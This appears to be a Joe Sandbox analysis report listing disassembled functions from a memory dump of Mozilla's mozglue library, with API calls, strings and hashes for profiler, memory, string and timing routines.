Opcode ID: f2143705176d5149e95cbb7853c87eb40b3c61b7d415a6472a84cd4c781e1e95
Instruction ID: 8eda698112b3ca726bfda016a54a1b0f9e9d6118d172607f2048d97a768c65a2
Opcode Fuzzy Hash: f2143705176d5149e95cbb7853c87eb40b3c61b7d415a6472a84cd4c781e1e95
Instruction Fuzzy Hash: ABC17C31A087409FDB15CF28C84066AB7F1FFCA714F568B1DE4C497A60D730A985CB96

Function 6C59EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C564A68), ref: 6C59945E
Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C599470
Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C599482
Part of subcall function 6C599420: __Init_thread_footer.LIBCMT ref: 6C59949F

GetCurrentThreadId.KERNEL32 ref: 6C59EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C59EC8C

Part of subcall function 6C5994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5994EE
Part of subcall function 6C5994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C599508

GetCurrentThreadId.KERNEL32 ref: 6C59ECA1
AcquireSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C59ECC5
ReleaseSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C59ED19
CloseHandle.KERNEL32(?), ref: 6C59ED28
free.MOZGLUE(00000000), ref: 6C59ED2F
ReleaseSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C59EC94

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 3dd560ad81d3ef1dcf6e58f4a6f09f878561e89f3dd3703dc1cd928c50f94f2a
Instruction ID: 1bf5fbcb07655dd3f23b045641ad441dc32dd179fcf35d77eea7500edcacce29
Opcode Fuzzy Hash: 3dd560ad81d3ef1dcf6e58f4a6f09f878561e89f3dd3703dc1cd928c50f94f2a
Instruction Fuzzy Hash: 4C21D175600344EBDB00AF24DC08A9A777AFB8626EF164354FD1897741DB71AC058BAE

Function 6C598ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C55EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C55EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C59B392,?,?,00000001), ref: 6C5991F4

Part of subcall function 6C58CBE8: GetCurrentProcess.KERNEL32(?,6C5531A7), ref: 6C58CBF1
Part of subcall function 6C58CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5531A7), ref: 6C58CBFA

Strings

name, xrefs: 6C598F16
marker-table, xrefs: 6C59906C
timeline-ipc, xrefs: 6C599096
timeline-memory, xrefs: 6C599088
timeline-fileio, xrefs: 6C5990A4
stack-chart, xrefs: 6C5990B2
timeline-overview, xrefs: 6C59907A
data, xrefs: 6C5990E8
marker-chart, xrefs: 6C59905E

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: bbf597b3da1a8b70620bf23bd574e56f058b67defd189dfe7fa46844aea13311
Instruction ID: 2cda3122aad29e7c989db6b801f3c1d903aae52636f101c5f4118c79466c6e92
Opcode Fuzzy Hash: bbf597b3da1a8b70620bf23bd574e56f058b67defd189dfe7fa46844aea13311
Instruction Fuzzy Hash: FEB1AEB0A01249DBDF04CF99CC917AEBBF5AB84318F10451AD406ABF90D771AD55CBD2

Function 6C57C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C57C5A3
WideCharToMultiByte.KERNEL32 ref: 6C57C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C57C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C57CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C57CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C57CAA5

Strings

(null), xrefs: 6C57C596
0, xrefs: 6C57D30A

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 2fbae1e53a266a80ac12af364c6e344344e557d3c211c834b09b236c34aeebe6
Instruction ID: eaf74420e1eb218a796533c1d3f0032653dd07920daa29b65e34e3834a88958f
Opcode Fuzzy Hash: 2fbae1e53a266a80ac12af364c6e344344e557d3c211c834b09b236c34aeebe6
Instruction Fuzzy Hash: A6A190306093429FDB20DF28CD8475EBBE1AF89748F05892DE899D7741D731E885CBA2

Function 6C57C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C57C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C57C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C57C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C57C891

Strings

inf, xrefs: 6C57C78F
nan, xrefs: 6C57C7A8
NAN, xrefs: 6C57C7AD
INF, xrefs: 6C57C794

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 6c63c5b01e407565e1fa65bb203e655dfc6f208eacbd3e9c0485fc150f7a3f83
Instruction ID: 3ae9550b10899b781fb55fedf562029166e7d9661789e31457fd7b4bc7d8a22c
Opcode Fuzzy Hash: 6c63c5b01e407565e1fa65bb203e655dfc6f208eacbd3e9c0485fc150f7a3f83
Instruction Fuzzy Hash: 8B5193709087408BD710EF6CC88169AFBF1BF8A314F418A2DE9D5A7651E770E985CB53

Function 6C553480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C553284,?,?,6C5756F6), ref: 6C553492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C553284,?,?,6C5756F6), ref: 6C5534A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C553284,?,?,6C5756F6), ref: 6C5534EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C55350E
__Init_thread_footer.LIBCMT ref: 6C553522
__aulldiv.LIBCMT ref: 6C553552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C553284,?,?,6C5756F6), ref: 6C55357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C553284,?,?,6C5756F6), ref: 6C553592

Part of subcall function 6C58AB89: EnterCriticalSection.KERNEL32(6C5DE370,?,?,?,6C5534DE,6C5DF6CC,?,?,?,?,?,?,?,6C553284), ref: 6C58AB94
Part of subcall function 6C58AB89: LeaveCriticalSection.KERNEL32(6C5DE370,?,6C5534DE,6C5DF6CC,?,?,?,?,?,?,?,6C553284,?,?,6C5756F6), ref: 6C58ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C553508
kernel32.dll, xrefs: 6C5534EA

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: d4bf42d68dca08d4940a864f916a52b89c41ce1be1ec47d6b413f92ef3aa6dd3
Instruction ID: 1eb4bebbda62883b8248def900ec862fda9123e533f847d105c6f9109e443a36
Opcode Fuzzy Hash: d4bf42d68dca08d4940a864f916a52b89c41ce1be1ec47d6b413f92ef3aa6dd3
Instruction Fuzzy Hash: 6431B371B013069BDF00DFB9CC48AAA7BB5FB85309F12451AF505E3A50EB70B904CB68

Function 6C554480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C594843,?), ref: 6C5545F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C594843,?), ref: 6C55468A
free.MOZGLUE(?,?,?,?,?,?,6C594843,?), ref: 6C5546C9
free.MOZGLUE(?), ref: 6C5546EF
free.MOZGLUE(?), ref: 6C554712
free.MOZGLUE(?), ref: 6C554735
free.MOZGLUE(?), ref: 6C554758
free.MOZGLUE(?), ref: 6C55477B
free.MOZGLUE(?), ref: 6C55479E

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 37ad1e2a8d88a8f297d4f50cc833312e729e63acbe880706d785f2401b285467
Instruction ID: cd43ed56d6610297ce4c2eba76e46b4a9b2efa0d3724936e2081957222a8f67a
Opcode Fuzzy Hash: 37ad1e2a8d88a8f297d4f50cc833312e729e63acbe880706d785f2401b285467
Instruction Fuzzy Hash: 03B1F471A001508FDB18CE3CCC9476D77A2AF81328F98466AE816DFBD6E7309C748B91

Function 6C5BAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C5BAC52
CreateFileMappingW.KERNEL32 ref: 6C5BAC7D
GetSystemInfo.KERNEL32 ref: 6C5BAC98
MapViewOfFile.KERNEL32 ref: 6C5BACB0
GetSystemInfo.KERNEL32 ref: 6C5BACCD
MapViewOfFile.KERNEL32 ref: 6C5BAD05
UnmapViewOfFile.KERNEL32 ref: 6C5BAD1C
CloseHandle.KERNEL32 ref: 6C5BAD28
UnmapViewOfFile.KERNEL32 ref: 6C5BAD37
CloseHandle.KERNEL32 ref: 6C5BAD43
CloseHandle.KERNEL32 ref: 6C5BAD67

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 47be68efdac4c5727605e2265906a25d2b61bbadaf74c570c08227c11e229e5b
Instruction ID: e9f2e49f9f4b1e4cd2d5213f3a6445745123ce84b8de19da546030e0168fdf69
Opcode Fuzzy Hash: 47be68efdac4c5727605e2265906a25d2b61bbadaf74c570c08227c11e229e5b
Instruction Fuzzy Hash: 2B314FB19047058FDB00BF7CDA4926EBBF1FF85705F024A2DE98597251EB70A588CB86

Function 6C569620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C569675
__Init_thread_footer.LIBCMT ref: 6C569697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C5696E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C569707
__Init_thread_footer.LIBCMT ref: 6C56971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C569773

Part of subcall function 6C58AB89: EnterCriticalSection.KERNEL32(6C5DE370,?,?,?,6C5534DE,6C5DF6CC,?,?,?,?,?,?,?,6C553284), ref: 6C58AB94
Part of subcall function 6C58AB89: LeaveCriticalSection.KERNEL32(6C5DE370,?,6C5534DE,6C5DF6CC,?,?,?,?,?,?,?,6C553284,?,?,6C5756F6), ref: 6C58ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C5697B7
FreeLibrary.KERNEL32 ref: 6C5697D0
FreeLibrary.KERNEL32 ref: 6C5697EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C569824

Strings

NtMapViewOfSection, xrefs: 6C569701
ntdll.dll, xrefs: 6C5696E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C569670
MapViewOfFileNuma2, xrefs: 6C5697B1

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: dcd621d48f86387ed1293c28161b7b849087bfb3ce6cf0cd7ce29cb0a647b282
Instruction ID: 53ab98a3e096af3c210bea439efe396cf9a8e92582400bae27f6ce8fa8be2b36
Opcode Fuzzy Hash: dcd621d48f86387ed1293c28161b7b849087bfb3ce6cf0cd7ce29cb0a647b282
Instruction Fuzzy Hash: 1941A2746013069BDF00DFA9DC84ADAB7B5EB4A725F024629ED1697B80D730F804CBA9

Function 6C5A0000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C564A68), ref: 6C59945E
Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C599470
Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C599482
Part of subcall function 6C599420: __Init_thread_footer.LIBCMT ref: 6C59949F

GetCurrentThreadId.KERNEL32 ref: 6C5A0039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5A0041
GetCurrentThreadId.KERNEL32 ref: 6C5A0075
AcquireSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C5A0082
moz_xmalloc.MOZGLUE(00000048), ref: 6C5A0090
free.MOZGLUE(?), ref: 6C5A0104
ReleaseSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C5A011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C5A005B

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: 00af310e45bfd800bcd7ef48240041bfd684e30e869248e39027cbc99fc273af
Instruction ID: 2bfc647e657407d7b6222dc4d79953627c633d75335d1c27f75bba5bf3e5ee16
Opcode Fuzzy Hash: 00af310e45bfd800bcd7ef48240041bfd684e30e869248e39027cbc99fc273af
Instruction Fuzzy Hash: 474179B1600355DFCB10DF69CC40A9ABBF1FF89218F41491AE95A83B50DB31B815CBAA

Function 6C567E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C567EA7
malloc.MOZGLUE(00000001), ref: 6C567EB3

Part of subcall function 6C56CAB0: EnterCriticalSection.KERNEL32(?), ref: 6C56CB49
Part of subcall function 6C56CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C56CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C567EC4
mozalloc_abort.MOZGLUE(?), ref: 6C567F19
malloc.MOZGLUE(?), ref: 6C567F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C567F4D

Strings

d, xrefs: 6C567F89

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 24288bd7cde5eb5e0e1128655839c7894b5ea0e371dc1a8c3cc7e7b1e773e269
Instruction ID: 8cc02b7567aa0aafa63bbf920d1f96db8563d0e9fe3c1a3b45cf25943ae0c991
Opcode Fuzzy Hash: 24288bd7cde5eb5e0e1128655839c7894b5ea0e371dc1a8c3cc7e7b1e773e269
Instruction Fuzzy Hash: D931D571E00788D7DB019B69DC049BEF778EF96208F055628DD4997622FB31BAC8C395

Function 6C563E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6C563EEE
RtlFreeHeap.NTDLL ref: 6C563FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6C564006
RtlFreeHeap.NTDLL ref: 6C5640A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C563CCC), ref: 6C5640AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C563CCC), ref: 6C5640C2
RtlFreeHeap.NTDLL ref: 6C564134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6C563CCC), ref: 6C564143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6C563CCC), ref: 6C564157

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: cd0e52413a33fd8d7a1e3a54a4c01408f3134ac05910a65bc8f86f226225eff9
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 89A170B1A00215CFDB40CF6AC88065AB7B5FF48318F254599D909AFB62D775EC86CBA0

Function 6C552030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C573F47,?,?,?,6C573F47,6C571A70,?), ref: 6C55207F
memset.VCRUNTIME140(?,000000E5,6C573F47,?,6C573F47,6C571A70,?), ref: 6C5520DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C573F47,6C571A70,?), ref: 6C55211A
EnterCriticalSection.KERNEL32(6C5DE744,?,6C573F47,6C571A70,?), ref: 6C552145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C573F47,6C571A70,?), ref: 6C5521BA
EnterCriticalSection.KERNEL32(6C5DE744,?,6C573F47,6C571A70,?), ref: 6C5521E0
LeaveCriticalSection.KERNEL32(6C5DE744,?,6C573F47,6C571A70,?), ref: 6C552232

Strings

MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C552253, 6C552268
MOZ_CRASH(), xrefs: 6C55227D

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 67dd98b276a6292ba82b0bcf8e4f96a383b71bf745fc960aa1823d588c15483d
Instruction ID: 03fd8569fa295177a24919eb87e094c8d3c49c743e312258b8e0adcaee546e96
Opcode Fuzzy Hash: 67dd98b276a6292ba82b0bcf8e4f96a383b71bf745fc960aa1823d588c15483d
Instruction Fuzzy Hash: 2C61D631F012168FCB04CE69CD8976E77B2EF85318FA9463AE524A7B94D770AD10CB85

Function 6C5A9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5A8273), ref: 6C5A9D65
free.MOZGLUE(6C5A8273,?), ref: 6C5A9D7C
free.MOZGLUE(?,?), ref: 6C5A9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C5A9E0F
free.MOZGLUE(6C5A946B,?,?), ref: 6C5A9E24
free.MOZGLUE(?,?,?), ref: 6C5A9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C5A9EC8
free.MOZGLUE(6C5A946B,?,?,?), ref: 6C5A9EDF
free.MOZGLUE(?,?,?,?), ref: 6C5A9EF5

Memory Dump Source

Source File: 00000000.00000002.2225776766.000000006C551000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2225719498.000000006C550000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225886155.000000006C5CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225910942.000000006C5DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: ec6d2d88a2064e1f0133641013bba1afe982dfefc6140909f4ccce019b281e35
Instruction ID: 8024069b1e148f7332e5d8a4aed3d2da670947aa7b78642c079520aa908cd1a9
